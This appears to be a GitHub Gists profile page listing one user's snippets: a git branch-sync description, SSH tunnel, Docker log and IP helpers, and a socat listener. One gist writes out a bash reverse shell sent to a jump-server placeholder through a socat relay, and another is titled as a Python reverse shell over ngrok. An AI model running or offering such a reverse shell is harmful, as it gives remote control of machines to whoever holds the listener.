Skip to content

Instantly share code, notes, and snippets.

View neemspees's full-sized avatar

Kim Bouchouaram neemspees

View GitHub Profile
@neemspees
neemspees / Git Sync Local Branches with Remote.md
Created November 7, 2022 13:05 — forked from krshnpatel/Git Sync Local Branches with Remote.md
A simple script to help you sync your local branches with your remote branches.

Overview

Description

This script allows you to sync your local branches with your remote branches. It would detect any local branches that have been deleted on your remote repository. Any local branches that have not been pushed to remote will not be detected because they might be your "work in progress" branches.

NOTE: If you create a local branch, then push it to your remote repository, then you manually delete that branch on your remote repository. This script will detect that local branch. So I would suggest reading the list of branches marked for deletion before allowing this script to delete them.

Purpose

Usually it's a good practice to delete your remote branch after it has been merged to your default branch (i.e. main, master). However, this means that there will be several stale local branches and these will accumulate over time. Essentially, this script will help you delete those stale local branches which have been deleted on the remote repository.

@neemspees
neemspees / ssh-tunnel.sh
Created September 28, 2022 13:36
Reverse proxy through SSH tunnel
#!/bin/bash
LOCAL_PORT=80
REMOTE_PORT=8080
USER=user
ssh -L 0.0.0.0:$REMOTE_PORT:localhost:$LOCAL_PORT $USER@localhost
@neemspees
neemspees / README.md
Last active June 27, 2022 13:12
Bash redirect over jump server using socat

JUMP SERVER

$ socat tcp-listen:4444,reuseaddr,fork tcp-listen:5555,reuseaddr,fork

TARGET

$ /bin/bash -i >&/dev/tcp/[jump server ip/host]/4444 0>&1
@neemspees
neemspees / truncate-docker-logs.sh
Created May 30, 2022 17:55
Truncate docker logs
#!/bin/bash
CONTAINER_NAME_OR_ID=$1
sudo truncate -s 0 $(docker inspect --format='{{.LogPath}}' $CONTAINER_NAME_OR_ID)
@neemspees
neemspees / README.md
Last active March 30, 2022 09:01
Python reverse shell with ngrok
@neemspees
neemspees / find-docker-container-ip.sh
Last active March 29, 2022 11:27
Find the IP address of a docker container
#!/bin/bash
CONTAINER_NAME_OR_ID=
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $CONTAINER_NAME_OR_ID
@neemspees
neemspees / socat-tcp-dump.sh
Created March 29, 2022 07:52
Socat listen to tcp port and dump
#!/bin/bash
PORT=5000
socat - tcp4-listen:$PORT,reuseaddr,fork